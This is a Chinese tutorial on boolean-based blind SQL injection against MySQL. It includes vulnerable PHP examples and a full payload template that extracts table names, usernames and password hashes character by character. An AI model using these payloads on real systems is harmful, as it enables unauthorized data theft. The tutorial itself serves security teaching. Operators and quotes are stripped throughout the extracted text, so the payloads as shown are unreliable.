ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

5-数据库-SQL注入-布尔盲注-day13

2026/8/3 16:47:03 拓冰建站 浏览量
5-数据库-SQL注入-布尔盲注-day13 ⚠️ 免责声明本文旨在教学网络安全知识帮助开发者理解SQL注入漏洞的原理与防御方法。所有技术内容仅限用于授权测试、安全研究、CTF竞赛及防御建设等合法场景。严禁将所学知识用于任何非法攻击、未授权渗透测试或其他违法犯罪活动。因不当使用本文技术造成的任何法律后果使用者需自行承担全部责任。 文章目录一、布尔盲注的本质原理1.1 正常查询 vs 布尔盲注1.2 布尔盲注的核心三步1.3 一个最小示例1.4 布尔盲注的原理拆解二、前置条件页面状态差异2.1 常见的页面差异模式2.2 判断目标是否存在布尔差异三、布尔盲注完整流程Step 1发现注入点Step 2判断闭合方式Step 3确认布尔差异Step 4判断数据库类型Step 5获取数据长度Step 6逐字符猜解数据Step 7枚举库/表/列/数据四、布尔盲注的适用场景4.1 布尔盲注的触发条件总结五、布尔盲注 vs 联合查询 vs 报错注入 vs 时间盲注对比六、布尔盲注通用模板七、布尔盲注的局限性八、优化方向概述九、总结MySQL 布尔盲注 — 原理与注入流程本文档系统讲解布尔盲注的核心原理、适用场景、前置条件、完整注入流程及实战注意事项。适用于安全研究和授权测试。一、布尔盲注的本质原理布尔盲注的本质是当页面既不回显查询结果、也不回显错误信息但会根据注入条件的真或假展示不同的页面状态时通过构造布尔条件逐个字符地猜解数据库中的数据。1.1 正常查询 vs 布尔盲注联合查询注入的数据流用户输入 → 拼接进SQL → MySQL执行 → 结果集返回 → 页面展示数据联合查询注入依赖回显位——页面必须把查询结果打印出来。报错注入依赖错误回显——页面必须把错误信息打印出来。但如果页面既不展示查询结果也不展示错误信息呢联合查询和报错注入都失效了。此时如果页面在查询条件为真和为假时展示不同的内容布尔盲注就能发挥作用条件为真用户输入(含布尔条件) → MySQL执行 → 查到数据 → 页面显示正常内容 条件为假用户输入(含布尔条件) → MySQL执行 → 查不到数据 → 页面显示异常/空白攻击者通过观察页面的真/假两种状态逐位推断出数据库中的数据。1.2 布尔盲注的核心三步整个攻击可以拆解为三步找到注入点并确认布尔差异确认用户输入能被拼接到 SQL 语句中执行且页面在条件为真和为假时有可观察的差异构造布尔条件表达式在参数位置嵌入比较表达式如ASCII(SUBSTR(database(),1,1))100通过真假差异判断每个字符逐字符猜解数据通过二分法或其他优化手段确定每个字符的 ASCII 码拼合出完整数据1.3 一个最小示例-- 假设原SQL语句为SELECT*FROMusersWHEREid$id-- 正常请求?id1-- SQL: SELECT * FROM users WHERE id 1-- 页面显示用户信息正常页面-- 布尔探测条件为真?id1AND11-- SQL: SELECT * FROM users WHERE id 1 AND 11-- 页面显示用户信息正常页面→ 条件为真-- 布尔探测条件为假?id1AND12-- SQL: SELECT * FROM users WHERE id 1 AND 12-- 页面不显示用户信息异常页面→ 条件为假-- 两种状态有差异 → 存在布尔盲注确认存在布尔差异后开始猜解数据-- 猜解数据库名的第一个字符-- 假设数据库名为 security第一个字符 s 的 ASCII 码是 115?id1ANDASCII(SUBSTR(database(),1,1))100-- 115 100 → 真 → 页面正常 → 字符ASCII码 100?id1ANDASCII(SUBSTR(database(),1,1))120-- 115 120 → 假 → 页面异常 → 字符ASCII码 120?id1ANDASCII(SUBSTR(database(),1,1))115-- 115 115 → 真 → 页面正常 → 第一个字符的ASCII码 115 s-- 继续猜解第二个字符...?id1ANDASCII(SUBSTR(database(),2,1))101-- e 的 ASCII 码是 101 → 真 → 第二个字符是 e1.4 布尔盲注的原理拆解以猜解database()返回值为例深入理解原理database()返回当前数据库名如security。我们无法直接看到这个值但可以通过布尔条件问数据库一系列是非题-- 问数据库名的长度是否大于 5?id1ANDLENGTH(database())5-- 真security 长度为 8→ 页面正常-- 问数据库名的长度是否大于 10?id1ANDLENGTH(database())10-- 假8 10→ 页面异常-- 问数据库名的第一个字符的 ASCII 码是否大于 100?id1ANDASCII(SUBSTR(database(),1,1))100-- 真s 115 100→ 页面正常通过不断缩小范围最终确定每个字符的精确值。┌──────────────────────────────────────────────────────────┐ │ 布尔盲注原理图 │ ├──────────────────────────────────────────────────────────┤ │ │ │ 攻击者构造的Payload: │ │ ?id1 AND ASCII(SUBSTR(database(),1,1))100 │ │ │ │ ┌──────────┐ ┌───────────┐ ┌──────────┐ │ │ │ SUBSTR() │───▶│ 截取第1字符│───▶│ s │ | │ └──────────┘ └───────────┘ └────┬─────┘ │ │ │ │ │ ┌──────────┐ ▼ │ │ │ ASCII() │─────────────▶ ASCII(s) 115 │ │ └──────────┘ │ │ │ ▼ │ │ ┌──────────┐ ┌─────────────┐ │ │ │ 100 │◀─────────────│ 115 100 │ │ │ └────┬─────┘ └─────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────┐ │ │ │ 条件为 TRUE │ │ │ │ AND 11 等效 │ │ │ └──────┬──────┘ │ │ │ │ │ ▼ │ │ ┌─────────────┐ │ │ │ MySQL查到数据 │ │ │ │ 页面显示正常 │ ← 攻击者观察到 → 推断: ASCII100 │ │ └─────────────┘ │ │ │ └──────────────────────────────────────────────────────────┘二、前置条件页面状态差异布尔盲注能成功的前提条件是页面在注入条件为真和假时存在可观察的差异。根据差异表现形式的不同分为以下几种情况差异类型说明可利用性内容差异条件为真时显示正常内容为假时显示空白/错误页面✅ 最佳最常见HTTP 状态码条件为真返回 200为假返回 404/500/302✅ 可利用响应头差异条件为真时有 Set-Cookie/Location 等响应头变化✅ 可利用重定向差异条件为真时跳转为假时不跳转✅ 可利用微小差异条件为真时多一个图片/文字/空格⚠️ 需要仔细对比无任何差异无论真假页面完全相同❌ 布尔盲注无效需时间盲注2.1 常见的页面差异模式模式一内容差异最典型// 后端代码$id$_GET[id];$sqlSELECT * FROM news WHERE id$id;$resultmysqli_query($conn,$sql);$rowmysqli_fetch_assoc($result);if($row){// 条件为真时显示新闻内容echoh1{$row[title]}/h1;echop{$row[content]}/p;}else{// 条件为假时显示空白或文章不存在echo文章不存在;}当?id1 AND 11时MySQL 执行WHERE id1 AND 11id1 的记录存在页面显示新闻内容。当?id1 AND 12时12为假整个 WHERE 条件为假查不到记录页面显示文章不存在。两种页面状态不同即可利用。模式二HTTP 状态码差异$id$_GET[id];$sqlSELECT * FROM products WHERE id$id;$resultmysqli_query($conn,$sql);$rowmysqli_fetch_assoc($result);if(!$row){header(HTTP/1.1 404 Not Found);exit;}// 正常输出产品信息条件为真时返回 200为假时返回 404。通过响应状态码判断真假。模式三重定向差异$id$_GET[id];$sqlSELECT * FROM users WHERE id$id;$resultmysqli_query($conn,$sql);$rowmysqli_fetch_assoc($result);if($row){header(Location: /dashboard.php);// 条件为真 → 跳转exit;}// 条件为假 → 不跳转留在当前页面2.2 判断目标是否存在布尔差异发送两个对比请求观察页面响应-- 条件为真 http://target.com/news.php?id1 AND 11 -- 条件为假 http://target.com/news.php?id1 AND 12对比两个响应的差异点对比维度条件为真条件为假判断页面内容显示新闻标题和正文显示文章不存在或空白✅ 内容差异HTTP 状态码200404/500✅ 状态码差异响应长度5230 字节320 字节✅ 长度差异响应头有 Location 头无 Location 头✅ 响应头差异页面完全相同——❌ 无差异需时间盲注关键提示如果AND 11和AND 12页面完全相同不要立即放弃。可能存在以下情况1闭合方式不对数字型 vs 字符型需要先尝试加引号2差异极其微小如某个隐藏的注释需要 diff 工具对比3确实无差异此时需切换到时间盲注。三、布尔盲注完整流程发现注入点 → 确认布尔差异 → 判断闭合方式 → 判断数据库类型 → 获取数据长度 → 逐字符猜解数据Step 1发现注入点与联合查询注入、报错注入相同首先确认用户输入能被拼接到 SQL 语句中执行。-- 测试单引号 http://target.com/news.php?id1 -- 如果报错 You have an error in your SQL syntax... → 存在注入 -- 测试逻辑真假数字型 http://target.com/news.php?id1 AND 11 -- 页面正常 http://target.com/news.php?id1 AND 12 -- 页面异常/空 -- 如果上述成立说明是数字型注入无需引号闭合Step 3确认布尔差异 先判断闭合再布尔差异弄反了这是布尔盲注独有的步骤——必须确认页面在条件真假时有可观察的差异-- 条件为真 http://target.com/news.php?id1 AND 11 -- 页面A显示新闻内容 -- 条件为假 http://target.com/news.php?id1 AND 12 -- 页面B不显示新闻内容如果页面 A 和页面 B有任何不同内容、长度、状态码、响应头布尔盲注就可利用。如果页面 A 和页面 B完全相同则需考虑是否是字符型闭合需要先加引号再测试是否页面差异太微小需要用 diff 工具对比响应是否真的无差异需切换到时间盲注Step 2判断闭合方式与联合查询注入完全相同通过加引号或括号测试闭合方式。-- 数字型 http://target.com/news.php?id1 AND 11 -- 正常 http://target.com/news.php?id1 AND 12 -- 异常 -- 单引号型 http://target.com/news.php?id1 AND 11-- -- 正常 http://target.com/news.php?id1 AND 12-- -- 异常 -- 单引号括号型 http://target.com/news.php?id1) AND 11-- -- 正常 http://target.com/news.php?id1) AND 12-- -- 异常 -- 双引号括号型 http://target.com/news.php?id1) AND 11-- -- 正常 http://target.com/news.php?id1) AND 12-- -- 异常布尔盲注与联合查询的闭合差异布尔盲注不需要让原查询返回空不需要负 ID 或AND 12作为注入手法。AND 11/AND 12仅用于探测差异真正的注入 Payload 是AND (布尔条件表达式)原查询返回什么数据不影响条件的判断。Step 4判断数据库类型不同数据库的函数和语法不同需要先确认数据库类型-- 判断是否为 MySQL ?id1 AND (SELECT version)0 -- MySQL 的系统变量 ?id1 AND (SELECT database())0 -- MySQL 的 database() 函数 ?id1 AND LENGTH(version)0 -- MySQL 系统变量 -- 正常 → 可能是 MySQL -- 判断是否为 SQL Server (MSSQL) ?id1 AND (SELECT version)0 -- MSSQL 也有 version ?id1 AND (SELECT db_name())0 -- MSSQL 独有 -- 正常 → 可能是 MSSQL -- 判断是否为 Oracle ?id1 AND (SELECT 1 FROM DUAL)1 -- Oracle 的 DUAL 表 ?id1 AND (SELECT banner FROM v$version WHERE rownum1) IS NOT NULL -- 正常 → 可能是 Oracle -- 判断是否为 PostgreSQL ?id1 AND LENGTH(version())0 -- PostgreSQL 的 version() 函数以下内容以 MySQL 为例继续讲解。其他数据库的猜解思路相同仅函数名和语法略有差异。Step 5获取数据长度在猜解具体内容之前先确定目标数据的长度——这能避免无意义的猜解不知道何时结束。-- 获取版本字符串长度 ?id1 AND LENGTH(version)10 -- 如果正常说明版本长度10 -- 二分法快速确定长度 ?id1 AND LENGTH(version)5 -- 正常 → 长度5 ?id1 AND LENGTH(version)8 -- 正常 → 长度8 ?id1 AND LENGTH(version)10 -- 异常 → 长度10 ?id1 AND LENGTH(version)10 -- 正常 → 长度10 -- 获取当前数据库名长度 ?id1 AND LENGTH(database())8 -- 二分法 ?id1 AND LENGTH(database())4 -- 正常 ?id1 AND LENGTH(database())6 -- 正常 ?id1 AND LENGTH(database())8 -- 异常 ?id1 AND LENGTH(database())8 -- 正常 → 长度8 -- 获取表名长度第一个表 ?id1 AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1))5 -- 正常 → 第一个表名长度5 -- 获取字段名长度 ?id1 AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schemadatabase() AND table_nameusers LIMIT 0,1))2 -- 正常 → 第一个字段名长度2 -- 获取数据长度 ?id1 AND LENGTH((SELECT username FROM users LIMIT 0,1))5 -- 正常 → 第一条记录的username长度5为什么要先确定长度如果不知道数据长度猜解到某个位置时不知道是否已经到末尾后面没有字符了。虽然可以通过猜到空字符ASCII0判断结束但先确定长度更高效。Step 6逐字符猜解数据确定长度后逐个字符猜解内容。核心模式是ASCII(SUBSTR(目标数据, 位置, 1))配合比较运算符。-- 获取版本号假设长度为10 -- 第1个字符 ?id1 AND ASCII(SUBSTRING(version,1,1))53 -- 53 5 → 正常 → 第1个字符是 5 -- 二分法加速 ?id1 AND ASCII(SUBSTRING(version,1,1))48 -- 正常 → 48 ?id1 AND ASCII(SUBSTRING(version,1,1))52 -- 正常 → 52 ?id1 AND ASCII(SUBSTRING(version,1,1))53 -- 异常 → 53 ?id1 AND ASCII(SUBSTRING(version,1,1))53 -- 正常 → ASCII535 -- 第6个字符 ?id1 AND ASCII(SUBSTRING(version,6,1))55 -- 55 7 → 正常 → 版本: 5.7.xx... -- 获取当前数据库名假设长度为8结果为 security ?id1 AND ASCII(SUBSTRING(database(),1,1))115 -- 115 s → 正常 → 第1个字符是 s ?id1 AND ASCII(SUBSTRING(database(),2,1))101 -- 101 e → 正常 → 第2个字符是 e -- ... 依次猜解到第8个字符 y -- 最终结果securityStep 7枚举库/表/列/数据按照库名 → 表名 → 列名 → 数据的顺序逐级获取。获取所有表名逐个表的名称逐字符猜解-- 先获取表的数量 ?id1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schemadatabase())4 -- 正常 → 有4个表 -- 获取第一个表名的长度 ?id1 AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1))5 -- 正常 → 第一个表名长度5 -- 逐字符猜解第一个表名 ?id1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1),1,1))117 -- 117 u → 正常 → 第1个字符是 u ?id1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1),5,1))115 -- 115 s → 正常 → 第5个字符是 s -- 最终结果users -- 获取第二个表名修改 LIMIT 偏移量 ?id1 AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 1,1))8 -- 正常 → 第二个表名长度8获取列名-- 获取 users 表的字段数量 ?id1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schemadatabase() AND table_nameusers)5 -- 正常 → users表有5个字段 -- 获取第一个字段名长度 ?id1 AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schemadatabase() AND table_nameusers LIMIT 0,1))2 -- 正常 → 第一个字段名长度2 -- 逐字符获取 ?id1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schemadatabase() AND table_nameusers LIMIT 0,1),1,1))105 -- 105 i → 正常 ?id1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schemadatabase() AND table_nameusers LIMIT 0,1),2,1))100 -- 100 d → 正常 → 结果: id注意table_nameusers中的引号在某些场景下可能被过滤。绕过方法使用十六进制编码table_name0x7573657273‘users’ 的十六进制。获取数据-- 获取 users 表的记录数量 ?id1 AND (SELECT COUNT(*) FROM users)3 -- 正常 → 有3条记录 -- 获取第一条记录的 username 长度 ?id1 AND LENGTH((SELECT username FROM users LIMIT 0,1))5 -- 正常 → 长度5 -- 逐字符获取 username ?id1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))97 -- 97 a → 正常 ?id1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),2,1))100 -- 100 d → 正常 ?id1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),3,1))109 -- 109 m → 正常 ?id1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),4,1))105 -- 105 i → 正常 ?id1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),5,1))110 -- 110 n → 正常 → 结果: admin -- 同理获取 password ?id1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE usernameadmin LIMIT 0,1),1,1))53 -- 53 5 → 正常 -- ... 继续猜解完整密码哈希四、布尔盲注的适用场景布尔盲注适用于以下场景场景描述典型表现无回显页面页面不直接展示查询结果文章页只显示标题不显示其他字段无错误回显页面不展示数据库错误信息生产环境屏蔽了 mysqli_error()有状态差异页面随查询条件真假展示不同内容查到数据显示查不到数据空白API 响应差异API 返回 success/fail 不同 JSON{status:success}vs{status:error}搜索型注入搜索结果有无的差异LIKE %keyword%有结果/无结果4.1 布尔盲注的触发条件总结页面有查询结果回显位 ├─ 是 → 联合查询注入 └─ 否 → 页面有错误信息回显 ├─ 是 → 报错注入 └─ 否 → 页面有真假两种不同状态 ├─ 是 → 布尔盲注 └─ 否 → 时间盲注五、布尔盲注 vs 联合查询 vs 报错注入 vs 时间盲注对比对比维度联合查询注入报错注入布尔盲注时间盲注前提条件页面有数据回显位页面有错误信息回显页面有真假两种状态页面响应时间可控需要判断列数✅ 必须❌ 不需要❌ 不需要❌ 不需要需要找回显位✅ 必须❌ 不需要❌ 不需要❌ 不需要数据提取速度快一次请求多行中32字符限制需多次慢逐字符猜解极慢逐字符等待延迟每字符所需请求数0直接回显0~1直接回显1~7二分法约7次1~7延迟等待适用场景有数据展示的页面有错误显示的页面无回显但有状态差异无任何差异复杂度中等较低高最高版本依赖低高函数可用性低低噪音低高错误日志低低核心区别联合查询和报错注入是直接获取数据布尔盲注是通过真假差异推断数据时间盲注是通过时间延迟推断数据。布尔盲注和时间盲注统称为盲注因为它们都无法直接看到数据。六、布尔盲注通用模板-- 1. 测试闭合方式假设数字型?id1AND11-- 正常?id1AND12-- 异常-- 2. 判断数据库类型?id1ANDLENGTH(version)0-- MySQL-- 3. 获取版本长度?id1ANDLENGTH(version)10-- 4. 获取版本内容逐字符 二分法?id1ANDASCII(SUBSTRING(version,1,1))53-- 5. 获取数据库名长度?id1ANDLENGTH(database())8-- 6. 获取数据库名逐字符?id1ANDASCII(SUBSTRING(database(),1,1))115-- 7. 获取表的数量?id1AND(SELECTCOUNT(*)FROMinformation_schema.tablesWHEREtable_schemadatabase())4-- 8. 获取第一个表名长度?id1ANDLENGTH((SELECTtable_nameFROMinformation_schema.tablesWHEREtable_schemadatabase()LIMIT0,1))5-- 9. 获取第一个表名逐字符?id1ANDASCII(SUBSTRING((SELECTtable_nameFROMinformation_schema.tablesWHEREtable_schemadatabase()LIMIT0,1),1,1))117-- 10. 获取字段数量?id1AND(SELECTCOUNT(*)FROMinformation_schema.columnsWHEREtable_schemadatabase()ANDtable_nameusers)5-- 11. 获取第一个字段名逐字符?id1ANDASCII(SUBSTRING((SELECTcolumn_nameFROMinformation_schema.columnsWHEREtable_schemadatabase()ANDtable_nameusersLIMIT0,1),1,1))105-- 12. 获取记录数量?id1AND(SELECTCOUNT(*)FROMusers)3-- 13. 获取第一条数据长度?id1ANDLENGTH((SELECTusernameFROMusersLIMIT0,1))5-- 14. 获取第一条数据逐字符?id1ANDASCII(SUBSTRING((SELECTusernameFROMusersLIMIT0,1),1,1))97七、布尔盲注的局限性速度极慢每个字符需要多次请求二分法约 7 次一个 32 字符的 MD5 哈希需要约 224 次请求。完整拖取一个表的数据可能需要数千次请求。依赖页面差异如果页面在条件真假时表现完全相同布尔盲注完全失效。某些应用对所有错误都返回相同的通用页面。网络噪音干扰网络延迟、服务器负载波动可能导致页面响应出现细微差异影响判断准确性。容易被检测大量相似请求同一个参数、不断变化的 ASCII 比较值是 WAF 和日志分析系统的典型告警模式。无法获取二进制数据布尔盲注逐字符猜解的是 ASCII 码值对于非文本数据如 BLOB 字段效率极低且可能不准确。八、优化方向概述布尔盲注最大的问题是速度慢因此优化方向集中在减少请求次数优化方法原理效果二分法每次将范围缩小一半每字符从最多 128 次降到约 7 次位运算逐位获取 ASCII 码的每个二进制位每字符固定 8 次请求IN 集合判断一次判断字符是否在特定集合中可减少到每字符 1-3 次需要预判字符集LIKE 模式匹配用LIKE a%判断前缀一次请求排除多个可能多线程并发并发发送多个字符位的猜解请求总时间大幅缩短响应缓存对比预先缓存真假页面特征后续只对比关键差异减少每次对比的数据量以上优化方法的详细原理和 Payload 示例见《盲注-技巧与进阶》文档。九、总结布尔盲注是一种通过页面真假状态差异逐字符推断数据的注入技术。它的核心思路是构造一个布尔条件表达式如ASCII(SUBSTR(database(),1,1))100通过页面是否正常显示来判断条件真假从而逐位确定目标数据的每个字符。布尔盲注的优势在于适用性广——只要页面有真假差异就能工作不需要回显位也不需要错误回显。但它也有明显的局限速度极慢、依赖页面差异、容易被检测。实战中布尔盲注通常是联合查询和报错注入都失效后的选择。如果连布尔差异都没有则需要进一步切换到时间盲注。以下内容仅适用于授权环境下的安全研究、渗透测试学习或防御建设。对未授权系统实施注入测试属于违法行为。⚠️ 再次强调本文所有技术内容仅供学习研究使用旨在提升开发者的安全意识与防御能力。任何未经授权的渗透测试、数据窃取、系统破坏等行为均属违法。请务必在合法授权范围内进行安全测试共同维护网络安全环境。